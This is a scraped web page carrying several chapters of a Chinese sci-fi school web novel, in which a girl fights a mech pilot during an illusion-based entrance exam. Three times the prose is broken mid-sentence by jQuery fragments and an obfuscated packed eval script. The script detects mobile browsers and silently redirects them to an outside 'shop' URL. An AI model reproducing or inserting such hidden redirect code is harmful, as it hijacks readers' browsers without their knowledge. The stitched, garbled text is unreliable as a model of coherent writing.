() { $(''.inform'').remove(); $(''#content'').append('' ” “嚯,不愧是指挥官的亲弟弟啊,上个学还这么大排面?”不知谁吐槽了一句,引来不少附和。 “是哦,好羡慕!” “这谁啊?谁的弟弟?”不明真相的人只能面面相觑。 “啧,就是前些日子在克里斯遭遇袭击的那位。” “啊啊啊,我知道我知道!你们在说那个‘神秘校园刺客’是吧?” “少在这儿驴唇不对马嘴的!” 嬴欢哪怕站在最角落也听见了“校园刺客”这四个字。 虽然很不想承认……但这还是嬴欢第一次在别人口中听到自己的事迹,只不过不太光鲜罢了。 “嗨呀~叽叽喳喳的一看就是些没见过世面的新生。” 一个身着黑色鎏金制服的小矮个子不知何时走到了嬴欢身边,他双手托着后脑勺,脸上架着一副高度数眼镜,一看就是个学霸预备役。 躲在垃圾桶旁边的少女狠狠一怔,他这是在和自己说话吗?感觉不像。 “呃,忘记自我介绍了。”他伸出和嬴欢差不多大小的手心:“我姓秦,秦徵羽,很高兴认识你。” 嬴欢忽视那只伸过来的手,用平淡的眼神看他:“你和秦尔槐什么关系?” 小正太声音一哽,显然没想到她的洞察力这么厉害。 “呃──大概就是她妈妈和我妈妈是亲姐妹的关系?” 得到答案后的嬴欢眼睛一移,直接略过了他,继续抻着脑袋看热闹。 秦徵羽气鼓鼓地霸占了嬴欢的视线,这怎么和表姐说得不一样啊! 说好的脾气温柔、战斗力爆表、美丽大方睿智和蔼天真可爱浪漫知性呢…… 偷偷观察一切的尤拉捂着嘴偷偷笑,看那表情就知道这人的小脑瓜在想些什么。 【秦尔槐就是很擅长“诈骗”啊!】 “谁在说话?”小正太神色一震。 嬴欢立即把系统调至静音模式,然后嫌弃地看他:“应该是你耳朵的问题吧?” “你——”秦徵羽忽然噤住了声,目光不自然地瞥向她的身后。 她也跟着向后看去。 巨大的风涡席卷着草坪,舷梯上的少年闯入所有人的视线。 他一身西装马甲,耀眼的红发被风吹扬起来,透亮的皮肤落下浅红色的阴影,灿烂如烈火。 原来是那只小狐狸。 眼见着簇拥上去的人群越来越多,嬴欢突然重重拍了下脑门,她险些忘记了自己还要去寻找学校礼堂呢! 一转身,屁股后立马多了一个小尾巴。 她都懒得搭理秦徵羽。 嬴欢迈过一阶阶石阶,身后的跟屁虫紧跟不放:“……” 秦徵羽看起来心事重重,好几次差点儿撞上嬴欢的后背。 “怎么,一眼就喜欢上了?”被踩了好几次鞋跟的嬴欢咬牙切齿道。 秦徵羽抬了下黑框眼镜,眼睛瞪得像只小白兔子。 “你,你怎么这么自恋!” 嬴欢脚步一顿,无声地扯了扯嘴角。 神经病。她明明说的是那个红毛家伙。 秦徵羽又开始神游太空了。 终于,在一阵子走走停停后,他笔直地撞上了她的后背,小正太摸了摸发痛的鼻尖,委屈叫道: “呃,你这女人能不能不要总是突然停下啊!” “明明是你在跟着我吧?”嬴欢冷冷扫向他。 小正太语塞,眼睛滴溜溜地转:“谁、谁跟着你了!这里是、是机甲院的方向,我、我还要回去训练呢!” 嬴欢摸了摸下巴,“可今天不是迎新日吗,这么刻苦?” 被戳穿的小正太飞快地眨了眨眼,有些气急败坏道:“你!你别太自作多情了!” 撂下这句话,秦徵羽立马转身朝着相反的方向走。 留下嬴欢一个人独自在原地无语哽凝,这小矮子到底知不知道自己漏洞百出啊? 唉。男人。 说到底还是嬴欢心太善良,她懒得去深究,背着双手继续迎着光向新的石阶走去。 7. 入学考核(一) 开学日大概是克里斯一年中难得的热闹日子了,新鲜的血液涌入每个学院,带来生机的同时自然也给学院内部来了次大洗牌。 会长办公室。 作为现任学生会会长,梅瑟全权负责此次的迎新典礼,此时他坐在办公室中央,面色无波地翻看着新生名单。 今年的新生们实力不容小觑。 他们很多都来自底蕴浓厚的家族,从小接受着精英教育,年纪轻轻便在各种竞赛中崭露头角,一个个履历光鲜亮丽,让人根本挑不出毛病来。 在一众眼熟的姓氏中,梅瑟精准地挑出了某个人的入学简历。 是他很感兴趣的一个人──厉、寻、旌。 这个名字对许多人来说并不陌生,去年一整年星际网上有关厉寻旌的话题讨论已经登顶年度第一。 厉寻旌是上一届「白梦长廊」举办的幻境模拟赛中的积分榜第一,因作风狠辣、行事绝不拖泥带水而被人记住。 而这次他也正是凭借着幻境中的出色表现得到了克里斯的招生名额。 有趣的是,向他伸出橄榄枝的不止克里斯一家学校,还有来自维克多的第一军事学校──弥蓝。 弥蓝是由「贝丝」财团一手建立的私立院校,主校区坐落在被誉为“凛冬之星”的维克多星球,那里不仅四季如冬,而且资源贫瘠短缺,条件尤为刻苦。 此校入学筛选极为严格,每年在全星际招生不超过五十人,而他们最出名的毕业生当属星际联合指挥部的最高指挥官——邬泽。 这位来自狄兰的指挥官已经成了弥蓝的“招生简章”,每次到了招募期都会被学校拉出来溜一圈,吸引了许许多多的顶尖人才。 弥蓝以残酷的实战模拟而闻名,实行全封闭式的教学环境以及独一份的“死亡考核”。 死亡,指的当然是真正的死亡。 据有关数据,弥蓝近二十年的毕业考核死亡率全星际最高,高达1%。 很明显弥蓝和厉寻旌的风格是相当契合的,可是他最终却选择了充满阶级歧视的克里斯,这让梅瑟觉得有趣极了。 他看中了克里斯的什么呢? 财力?一个由政府扶持的公立院校自然是比不过只手遮天的贝丝财团,这一点可以排除。 教学质量?弥蓝可是上个季度军事类学院评估第一名,克里斯仅次其屈居第二。 考核制度?诚然克里斯的考核制度要比弥蓝温和得多,可厉寻旌怎么看也不像怕苦怕累的人,更别说怕死了。 梅瑟拿起墨水瓶中的羽毛笔,在简历左下角的页码处标记了一个红色重点号,接着写下两个字──「二号」。 忽然,办公桌上的通讯设备亮起,一个全息页面弹了出来。 “所有新生已打卡完成,正在有序进入礼堂──”智能助手传来礼堂画面。 青年将羽毛笔放回墨水瓶中,走到一座全身镜前。 他动作熟稔地打好领带,镜片下的灰蓝色眼眸无比平淡,眼角的小颗红痣成为了唯一的点缀物。 全景画面正在实时转播,前排的新生座位区尤为吵闹,声音甚至已经达到了震耳的地步。 忽然,小助手似乎捕捉到了什么,自动放大画面。 “已自动捕捉「一号」人物的行踪。” 取景框中是一张熟悉的面孔──一对平平无奇的深灰色瞳仁、挺翘的鼻梁骨、薄厚适中的浅色耳垂,以及那几乎可以忽略不计的气场。 像一朵小白花落入一群秃鹫当中。 青年人一边伸手整理衬衫,一边将目光缓缓落在少女的面庞上。 深海般的眸子仿佛在注视着与海相连接的地平线,他们离得那么近,却又那么遥远。 ** 嬴欢找到一个角落的位置坐了下来,周围的新生们好奇心都极为旺盛,一个个头伸得像鸵鸟,不安分得很。 她并未参与到嘈杂的讨论声里,也未察觉有人正通过礼堂监控设备注视着她,还在没心没肺地和尤拉聊天。 【哇——好大的礼堂!哇——好漂亮的穹顶!哇——好多人啊!】 “你语言就这么匮乏?”嬴欢依旧保持着闭目养神的姿势。 此时,场内灯光突然暗了下来。 几秒钟的沉默后,人群突然爆发。 “啊!”周围的惊叫声此起彼伏。 “妈呀,谁把我灯关了!” “啊啊啊,这是什么东西。” “哪个傻叼在摸我的头啊,找死吗!” 嬴欢被这些刺耳的声音激起一阵鸡皮疙瘩,眼睛睁开一道缝。 周围黑黢黢的,看不太真切。 她心下一惊,连瞌睡都散了几分。 周遭的空间正在迅速扭曲、收缩,原本的肃穆礼堂在一瞬间蜕变成了另一番场景。 所有新生们都被禁锢在这个无名空间。 “怎么回事?” “哇啊啊啊!这什么技术啊,这么逼真!” 场面乱成了一锅粥,几个胆子小的直接吓得十指相扣,像连体婴儿般黏在一块儿。 透黑的空间里,松木地面变成黏腻的沼泽,皮绒材质的座位尽数消失。有的人来不及反应,直接跌坐在地上。 潮湿的东西缠上小腿,四周的尖叫声越发凄厉。 “啊啊啊,有东西在舔我的腿!” “好恶心,你离我远点儿!” “呕——” 嬴欢的运动鞋陷进了沼泽地中,她不敢轻易乱动,而是先用手试探性地向下摸去,指尖仿佛触碰到了冰冰凉凉的、类似粘液的东西。 她暗道了句恶心,强迫自己冷静下来。 就在触碰完那东西的几秒钟后,它们变本加厉地顺着她的手指向上攀爬,似乎要将她整个人拖下去才肯罢休。 有人已经开始提议寻找出路。 “咳咳咳──很明显,这是校方设计的一场新生考核,我们现在必须尽快寻找破局的方法!” “哈?考、考核?” 有人不信邪地打开随身的通讯终端,却发现页面显示无响应。 “我**什么鬼啊,这才第一天就要开始模拟训练了吗?” 大家你拉着我我拉着你,互相绑在一块儿。 而他们在帮助跌入沼泽的人时就花费了不少力气,更别说在短时间里完成考核了。 嬴欢并没有响应大部队的指令,而是独自向外围摸索。 那些“触手”还不死心地把她向下拖拽。 她尝试用随身的匕首砍断它们,然而匕首在接触到粘液的一瞬间就被吞噬了个干净。 此刻的嬴欢就像只被捕蚊贴粘住的小可怜虫,步履维艰。 她停在原地休息了一会儿,四肢被紧紧缠住,要费劲全身力气才能保持站立。 嬴欢不是没有尝试过求助尤拉,只是这空间太过诡异,尤拉像被这里屏蔽了般,无论她如何呼叫都没有任何反应。 看来这是场只能依靠自己来破解的死局。 不知过去了多久,嬴欢渐渐感知不到其他人的存在了,她似乎走了很远,周围只剩下她一人。 脚下的沼泽地逐渐粘稠度变得更高,嬴欢将外套脱下,铺在地上缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462678|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借着衣物向前爬行。 突然,她似乎看见了一丝微弱的光源。 就在距离一百米处,一只破损的机械体闪烁着无规律的亮光,忽明忽暗。 她咬着牙继续前进。 “滋啦滋啦”的电流声从它的胸口处传来。 嬴欢浑身脱力地倒在它的身边。 她把它的机械手臂当作支撑点,整个人趴在它的身体上,得到一丝短暂的喘息时间。 她的双手上下摸索着它的身体。 不是她变态,而是她发现这具机械体竟然还在发热? 她凭着直觉摸向机械体核心所在的位置,只是刚贴上那发烫的机械金属外壳,嬴欢的脖子就被一只机械手紧紧嵌住。 嚯,还没报废? 嬴欢哪怕是被人掐住了命脉,脑回路却依旧清奇。 “你,是谁?”机械声在嬴欢的耳边响起。 “我、我是活人。”嬴欢双手举起做投降姿态。 这个庞然大物显然已经陷入这片沼泽有段时间了,嬴欢有点儿惊讶于它的做工质量。 “你知道这是哪儿吗?”嬴欢先发制人。 半个身体都陷入沼泽中的机械体摇摇头。 “等等。你……你不是智械?” 嬴欢后知后觉地看到他背后的穿戴指示标记。 合着这里面是个人呐! 还未和机甲院打过交道的嬴欢第一次见到穿戴机甲的人类,她很好奇他和自己家的智械管家有什么区别。 除了一个人脑一个AI之外,还有哪里不一样? 他没有说话,落入嬴欢眼里自然就当做是默认了。 她依旧保持着举手的姿势,扫了扫眼前的大家伙:“你也是新生?” 他还是不说话。 “你插在泥地里是想当取代提灯女神成为克里斯的新雕像吗?”她真诚地问。 “……”她听到他忍耐的气音。 嬴欢跪在他的肩膀上眺望远方,长叹了一口气。 她本以为这破烂机甲人是她离开这里的希望,没想到搞了半天竟然还是个拖后腿的。 “有没有人啊──”嬴欢扯着嗓子大喊。 结果显而易见,无人回应。 嬴欢坐在机甲巨大的肩膀上,她的体重让这个“机甲人”又陷进去了一点儿。 “我会记得你的。”嬴欢面无面情地拍了拍手底下的金属脑壳。 “……” 这女人37℃的嘴巴里是怎么说出如此无情的话的。 嬴欢自己也不好受,身上被黑泥包裹得严严实实,脸、小臂、脖子,没一处是干净的。 在两只鼻孔被彻底堵住前,她终于开始认真思考对策,那双深灰色的眼睛在机甲上停留了一会儿。 “你的机械动力装置还完好吗?” “你想干什么?” 嬴欢从他肩上慢慢下来,在沼泽中后退了几步。 “你试着启动一下机械翼。” 他沉默了一会儿,压着怒意道:“以现在的动力根本不足以脱离这片沼泽,你以为我没试过?” 嬴欢沉思了一会儿,“你的机械翼两侧有备用的点火装置对吧?” “是你疯了还是我疯了,你想被炸死在这里?” 在沼泽地点火,她脑子是被驴踢了? 少女听完他的发言后摇摇头,这不是沼泽地,只不过和沼泽地有类似的形态罢了。 她回想那些“触手”如何慢慢缠绕她的手臂,又是如何吞噬了她的随身利器。 ──它像被赋予了生命般。 8. 入学考核(二) 他没等到嬴欢的回答,只见她慢悠悠地坐在了“沼泽地”里,整个人仰面躺了进去。 “你……” 黏稠的流体覆盖住她的面部,嬴欢屏住呼吸,任凭“触手”们带着她向下扯去。 “沼泽地”比想象中的还要深,她的五脏六腑被压得生疼。 大概二十秒后,她沉入了最底部。 嬴欢用手感知周围液体的状态。 果然,粘度正在大幅下降,已经接近于普通机油的粘度。 她仰头向下,伸出手臂去触碰地面,手指用力划过,是平整光滑的塑料质感。 嬴欢心中一喜。 一拳、两拳、三拳下去,塑料地面只多了一个小坑。 就在她拧着眉思考下一步之际,整个人突然向上浮空去。她一转身,便看见一个重型机甲正在用钩锁把自己往上拉。 别啊!她就快出去了!嬴欢挣扎了两下,无果。 最终被一只机械臂从泥里拎了出来。 “你在找死?”机甲内部的声音充满戏谑。 嬴欢心累到一个字都不想多说:“……” 她的脑壳上粘满了不知名液体,整个人就像刚从泥汤里捞出来的淘气小狗。 “就凭你的赤手空拳是砸不坏幻境地基的。” “你怎么知道我在砸地基?”她记得他是用绳索把她勾上来的。 “机甲人”又不说话了。 装高冷是吧,好啊,我让你装。 嬴欢把上衣外套一脱,上演了一出“金蝉脱壳”。 “啪”地一下,嬴欢整个人砸在了“沼泽地”里。 她二话不说直接继续往地底潜去。 “**” 一句响天的脏话传进她的耳朵里。 ── 厉寻旌这辈子第一次感受到什么叫无语。 他本来好好地在原地休息,却突然被一个不知道哪来的女人上下其手。 这女人不仅好色,脑子也有点儿问题。 先是让他在这不知名的环境里点火,接着又自己闷头就潜入了沼泽深处。 幻境里总是瞬息万变,就算被人们称为“疯子”的厉寻旌也不会在一个陌生空间里轻举妄动。 显而易见,这个女人比他还疯,而且是疯得多得多。 厉寻旌厌恶助人为乐,可眼下她还不能“死”。这幻境实在太过诡谲,两个人比肩作战总比一个人单打独斗要好得多。 能让厉寻旌救一次的人,她是世界上第一个,然而就在刚刚,他方才救回来的人竟然又转头找死去了。 行,她既然真心想死的话,他也不是不可以亲自送她一程。 就在厉寻旌准备把人捉回来活淹的时候,身前突然冒出来个眼熟的脑袋。 “如果引爆机甲,冲击力会有多大范围?” 厉寻旌咬着牙把她的脑袋掰了过来,紧紧捏在手心里。 “你想得美。”他一字一句道。 嬴欢还在摆事实讲道理:“这个幻境的极限直径最多只有克里斯校区那么大,地层厚度不会很厚。” 想来校方是没舍得给幻境加个拟真地层的。 毕竟搭建这么个“沼泽”就要烧不少钱,一个让新生过渡新环境的考核罢了,不值得为其多花预算。 于是乎,塑料材质的地基就这么尴尬地暴露在嬴欢面前。 “你的新机甲费用我可以全权承包。”嬴欢提出了一个相当诱人的条件。 她听到一声近乎疯狂的哼笑,来自机甲装置下的男人。 “原来这就是有钱人的把戏。” 嬴欢抿着唇不说话,听说露财会招人嫉妒,看来确实有这种说法。 “这是最快离开这里的方法。” “我劝你现在滚得越远越好──不然我可以保证你下一秒就能出局。” 一、二、三。 嬴欢默数三秒。 看吧,现在的年轻人就是爱说大话。 忽然,嬴欢整个人被机械臂高高举起。 “我*你大爷的,你来真的?” “同学,你先冷静冷静。咱们可以有话好好说!” “等等等等!我怕高!” 一声近似呜咽的声音在黑暗中格外响亮。 机械手臂顿了顿。 “我、我就是个可怜的小女孩罢了!” “我年年日日在老家地下城里打黑拳攒学费,好不容易才从贫穷小村落考进克里斯!全家都等着我光宗耀祖,谁知道一朝车祸把我给撞成了重度脑震荡……” 嬴欢捏着嗓子的模样要是让熟人看见——比如说尤拉。 恐怕它会直接原地启动自我毁灭模式。 “……” 也不知道这机甲人听没听进去。 嬴欢依旧保持着在空中腾空的姿势,肺部空气被挤压了出去,难以呼吸。 她奋力挣扎了两下,越发觉得自己有些头晕眼花,呕吐感从胃部一直上升。 好累,好想在这里睡一觉── “醒醒。” 在迷迷糊糊中,她被当成一个汽水瓶似的用力摇晃。 厉寻旌把人平整地抱在胸口,他摸向她的颈动脉,跳动速度正在逐渐低于正常值。 幻境中的“死亡”并不是真正的死亡,但痛苦是切身的。 一般来说,“死亡”后的人会自动退出幻境,回到现实。 而厉寻旌也没有必要再去管她,反正只要等她“死”透了自然就会出去了。 他缓慢地放下少女,成为冰冷的旁观者。 这一直都是自己的做事风格,不是么?厉寻旌走神地想。 忽然,他们的上方出现一个类似于星星的光球,照亮了一小片黑暗。 男人眉眼一凝,认出了那种小玩意儿──积分光球。 常年的模拟赛经历让厉寻旌对积分十分敏感,积分代表着排名,而排名代表着能力的体现。 成为最后的胜利者──这一直都是他所追求的目标。 呵,这场无趣的考核也是时候该终结了。 锋利的下颌微微抬起。 锁定目标,起跳。 ── “看,积分光球。” 距离厉寻旌位置不远处,有两个人同样看到了散发耀眼虹光的金色光球。 “可惜──已经有人抢先一步了。”少年的声音带着几分慵懒,如贝斯拨弦般富有诱惑力。 他身边站着一位和他有着相似脸庞的女孩儿,言语中里充满了贵族的傲气: “那是改装过的机甲吗?我还以为只有你这种顶级狂热粉才会拥有那种重量级装备呢,比你那破铜烂铁好看多了。” “给我闭嘴。” “嘁,姓邬的──别以为你是哥哥就可以凶我,小心我去找邬女士告状,让她没收你这个月的所有零花钱,看你怎么保养你那破机甲──”女孩儿高昂着头,冷哼一声。 “──等等,我好像踩到什么了!”话还没说完,有个温热的东西握住了她的脚踝。 “我*邬老二!你快看看这什么东西!”不会是水猴子什么的吧! 邬涟的脸色同样很难看,他直接弯下腰抓住那只灰不溜秋的手腕。 “是个人。”他用力把人从沼泽里拉出来。 随着一张脸渐渐浮出水面,光源照在那张人不人鬼不鬼的脸上,尤为诡异地映在两人眼底。 邬涟猛地放开了手,尖锐的瞳孔微微放大。 “这是你小情人么,反应这么大。”女生鄙夷地瞪了他一眼,蹲下身体把人扶起来,语气关心道:“还好吗,同学?” “不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462679|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”嬴欢刚醒来就听见两个人的吵闹声,简直头疼欲裂。 “你好,我叫邬蘅。”女孩儿荧光绿色的挑染编进麻花辫里,秾丽的眼睛与邬涟尤为相似。 嬴欢的大脑还没重启完毕,隐隐约约听到眼前的人姓邬,顿时间连眼神都清明了几分。 “邬──邬?” “你,你别哭啊。”邬蘅略微犹豫了一下,动作生疏地把人揽在怀里,用袖子擦了擦她脸上的污秽。 嬴欢彻底失去了语言系统:“……”您还怪好心的。 弄脏人家的衣服总归是不好意思的,嬴欢从女孩儿的怀里挣脱出来,猛地咳嗽了几下。 之前整个人泡在沼泽里湿哒哒的恶心又难受。 那个王八蛋铁皮人呢?今天她非要弄死他不可! 得分的提示音在上空不断传来。 三人齐齐向上看去。 一双十分帅气的流线型羽翼占据了他们大半部分视野。 邬涟凝了凝眼神,眉头一挑,露出一副兴致盎然的表情。 两个邬家的孩子对这一幕再熟悉不过了。 他们从小接受机甲训练,邬涟更是从八岁开始就接触新型机甲,仅花费一个月便精通了机甲操作与实战训练,被老师直呼“天赋异禀”。 不夸张地说,邬涟操纵机甲的技术甚至可以排在大哥邬泽之上,整个狄兰还没有第二个能超越他的人。 眼前的机甲战士身形卓越,速度极快,一连夺走了上方的三个积分光球。 邬蘅看了眼邬老二,身为同一个培育器里出来的兄妹,她可太了解他现在的心情了。 他正跃跃欲试呢,不过这家伙肯定接受不了自己的机甲在沼泽里来回打滚,所以她心目中的机甲大战注定要泡汤了。 另一边,被所有人忽视的少女开始慢条斯理地擦去脸上的泥巴点,眉眼染上几分凛冽。 她活动了几下筋骨,完全没了方才那副就快一命呜呼的模样。 好一个垃圾铁皮人,框她是吧?今天她就要把那双翅膀给打烂! 积分光球不断踊跃出水面,幻境也跟着逐渐明亮起来。 这时他们才发现,原来高空中有许多透明的不规则浮空平台。 金色光球在空中连为一道以光点凝聚而成的阶梯,邬蘅和邬涟两人反应极快,分头向两侧拾取光球。 嬴欢一边慢悠悠地绑着头发,一边冷眼观察眼前的透明阶梯,脑海中开始计算最短路程。 争积分?她才不感兴趣。 她的目光瞄准在空中飞行的轻型机甲,心里一声冷呵。 今天你对我不仁,那就别怪我对你不义。 好歹嬴欢也是个统治一方的“幻境霸主”,虽然脑袋不太好使了,但肌肉记忆可还在呢。 邬蘅抢先一步在机甲人拿到两个光球,还没来得及庆幸,耳边蓦然多了阵剧烈的破风声。 旧的光球消失,而新的光球又很快出现,幻境内部忽明忽暗。 邬蘅一边小心地在透明平台上跳跃,一边看向声音源头,“我嘞个老天奶,他在和谁打架?” 邬涟很快从另一侧捡完光球,来到邬蘅的身边,开始坐在平台上看戏。 这一阶段的光球已经被他们捡完,幻境里完全没了光源,只能看见两个黑影在沼泽里打架。 邬蘅怀疑人生地看了看身边的邬老二,又看了看底下两个黑影。 “这里,好像只有我们四个人吧?”她和邬老二都在这里,那和机甲人打架的岂不是……那个同学? 少年不言,而是将两只手臂撑在身后,慢悠悠地开始观赏这场好戏。 他们还得感谢嬴欢拖住了那个人,不然两人也抢不到多少积分光球。 这叫什么来着?鹬蚌相争,渔翁得利。 通俗点儿说就是──赚麻了。 9. 入学考核(三) “啧,真是个麻烦。”机甲里的声音变得低沉,隐隐含着愤怒。 她竟然能和机甲形态打得有来有回! 厉寻旌被愤怒冲昏了头脑,下手狠厉。 而嬴欢也是毫不留情,从腰间扯下一把份量颇重的银色长鞭,鞭子一甩,竟然迸发出几丝猛烈电光。 早在开学之前,邬明仪带着她前往狄兰最前沿的武器实验室挑选防身用品。 嬴欢在一众稀奇古怪的武器中挑中了这根改造后的鞭子,反正玩腻了那些热兵器,也该换换口味了。 没想到今天还真让她用上了。正好,也试试武器顺不顺手。 “呵。”通过夜视仪,厉寻旌才发现她腰间竟然一直缠绕着一根银鞭。 如同一只盯着猎物虎视眈眈的响尾蛇,银鞭照亮彼此,也同时照亮了他们眼底的杀欲。 两人体型相差甚远,少女却没有一点儿退缩的意思。 “让你三招。”她昂起下巴,仿佛是这个世界的主宰。 厉寻旌没有任何表情,他攥紧拳头,又缓缓松开:“你这是在挑衅?” 他认真地看她,似乎并不理解她的做法。 墨灰的眉毛轻轻一扬,嬴欢仿佛在看傻子,“挑衅?我怎么记得这叫‘良性竞争’呢?” 她踮起脚尖,登上距离自己最近的平台。 “别拖泥带水的了。如果你输了,你的积分就归我。” 厉寻旌认真凝视着平台上的少女,他还是第一次被人如此直白地宣战,没有不迎战的道理:“好。” 他双手抬起,身上坚硬的机甲仿若碎片般缓缓地褪去。 面铠渐渐消失,露出一双阴鸷的暗红眼眸。 他上半身布满复杂的机械纹路,皮肤白得骇人,没有一处是正常的血色。 嬴欢看着他的身体,不由得心跳一滞。 那瓷白的胸腔内部竟然空无一物,剔透如琉璃,整个半身泛着浅浅的光晕,如同深海水母般澄澈无比。 他,竟然没有心脏? 甚至连其它内脏也没有! 这一幕看得嬴欢瞠目结舌,不仅是她,就连远处的邬家兄妹也是被震惊到了。 邬涟心底的不耐烦直接溢于言表,两只眼睛甚至皱成了一道缝,牙齿缓缓咬合,火气直冲天灵盖。 不是这哥们你大庭广众下脱衣服真的好吗?尤其是在这么紧张刺激的情况下,多破坏氛围啊! “啧,心机男──”邬蘅最看不得这种腌臜的战术,恨不得下去把那张脸撕烂。 嬴欢还在想这是个什么怪物,却听见来自一声低吟: “可别分心。”厉寻旌的战意已经完全被激发,以肉眼不可见的速度闪现至她的背后。 然而他的一击瞬间落空,因为嬴欢的反应比他更快、更敏捷! 银鞭像被惊扰的蛇首,猛地冲出十米外,轻松缠住厉寻旌的右臂。 厉寻旌背对着她,两人的力量相持不下。肌肉被勒出紫色的痕迹,青筋暴起,电流经过他的全身,眼底染上猩红。 “哈哈哈,哈哈哈──”他放声狂笑,一股气流以他为中心点猛然爆发。 ──这是,机械体的极限状态? 通过快速消耗机能,来产生极具爆发性的力量。 少年一眼就发现了厉寻旌的意图,他这是想和嬴欢硬碰硬啊! 男人缓慢地活动了一下肩膀,将手臂上缠绕着的“小蛇”轻轻捏在掌心中。 两人之间以银鞭相连,厉寻旌顺势借着这股力量接近嬴欢。 她早有应对,提前向后方平台不断跳跃、躲避。 一个完美的后空翻──弧线漂亮、动作迅猛。 嬴欢借着地势来回“耍猴”,她很快熟悉了厉寻旌的攻击节奏,并且迅速找到了他的弱点。 猩红的眼睛锁定她的下一个落点,起跳。 破风声四起,这一击堪堪擦过她的脊椎骨。 与他擦肩而过的同时,嬴欢露出一丝嘲讽的笑。 ** 二人短短几分钟内,交战数百回合。 厉寻旌就算再迟钝也意识到了眼前之人并非平庸之辈,她的经验与魄力远远在他之上。 又是一次迅猛的袭击,嬴欢总是只守不攻,这让人很摸不着头脑。 厉寻旌一边进行追击,一边摧毁脚下的平台。 喘息之间,一个微小的记忆漏洞使嬴欢错失平台的落点,一脚踏空。 嬴欢本来就有些心不在焉,她最初的目标是把他那鸡翅膀掰下来,可这人偏偏不按套路出牌,搞得她也兴致缺缺。 就在她侧身跃向另一个平台的分秒间,黑影袭来。 这一次,他死死抓住了她的手臂,带着她一起向后坠落。 ── 嬴欢又又又一次被他摁进了“沼泽”里。 只不过这次两人都无法独善其身,黏稠的液体把他们死死黏在了一块儿。 银鞭用自己细长的身体把两人隔开,生怕主人被脏东西碰到,鞭身“滋啦滋啦”地闪着电光以示警告。 场面越来越奇怪了。 邬涟的表情逐渐扭曲,这两个人不会打着打着当场开始内个啥吧? 他猛地起身,清冷的脸颊怒气腾腾:“喂──嬴欢!给,我,速,战,速,决!” 邬蘅的右耳嗡鸣了一阵,恨不得当场给他后脑勺来一下。 “邬老二,你吼那么大声是想震死我吗?” “还有,你怎么知道她名字啊,你们认识?”邬蘅心道疑惑。 等等,好像不太对。 这名字怎么有一丁点儿耳熟啊? 女孩儿顿时愣在原地,她一遍遍回忆他方才脱口而出的名字。 嬴欢? 嬴、嬴欢?! 邬蘅的脑海中一道白光劈过。是邬明仪收养的那个战争遗孤?自己和邬涟的继姐? 她从来没有见过这位名义上的姐姐,这是十几年来他们三人第一次相聚在同一个空间。 可恶,怎会如此──上天为什么要安排他们在这种尴尬的场景下见面啊! 脾气暴躁的大小姐头脑一热,嘴比脑子先行。 “不要脸的家伙,不准勾引她!” 嬴欢被这声震响天地的怒吼吓得心尖一颤,向上抬起眸去,只见邬蘅的脸颊旁飘扬着几缕荧绿色的发丝,提着一把散发光焰的大剑,剑刃直指裸着上半身的男人。 在场三人:…… 厉寻旌被这三个神经病气笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462680|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这一个个的怎么都冲着他来? 他语气暗沉,声音里带着几分嘲弄:“你来晚了,想杀我么?除非把我们捅个对穿。” 厉寻旌向她展示他们紧紧相贴的身体,颇有些要同归于尽的意思。 女孩儿的大剑肩上一扛,向他狠狠一喝:“呵,恶心的小白脸──姐姐你等着,看我怎么收拾这小子。” 嬴欢被她突然转变的态度疑惑到了,却也因为厉寻旌的话意识到自己现在的处境,她向邬蘅伸出手。 “那个,你要不还是先把我们拔出来呢?” 邬涟被自家妹妹蠢到近乎无语,他抓了抓红发,冲着僵持的二人大喊:“邬老三──给我回来,别丢邬家的脸!” 厉寻旌循声看向女孩儿,眼神变了变:“邬家?” 邬蘅看着他突然加倍狠厉的目光,心气突然变得有些不足:“你、你想干嘛?还不快放开我姐姐!” 场面已经乱成一锅粥了。 厉寻旌一直看着邬蘅的脸,似乎陷入了某种思考。 而邬蘅则是悄悄用求助的眼神看向邬涟,有什么阴招赶快往上使啊! 至于邬涟本人,他已厌烦了这场闹剧,不断瞪着嬴欢示意她快点儿结束这战斗。 嬴欢都被压得快喘不过气了,哪有工夫看这三个人上演“你看我我看你”的戏码! 守在身前的银鞭躁动不已,似乎对现状很不满意,急切地蹭着嬴欢的脸颊。 “再忍一会儿。”她通过意识向它传话。 轻轻拍了拍鞭身,银色带着电光的鞭尾不满地摇了摇,赌气般缠上少女的腰际。 手臂在黑暗中微弱地动了动,她在静待时机,一个能够将“猎物”一击毙命的时机。 就在厉寻旌盯着邬蘅走神之际,身下之人突然发力,五指直直地穿透了男人的身体。 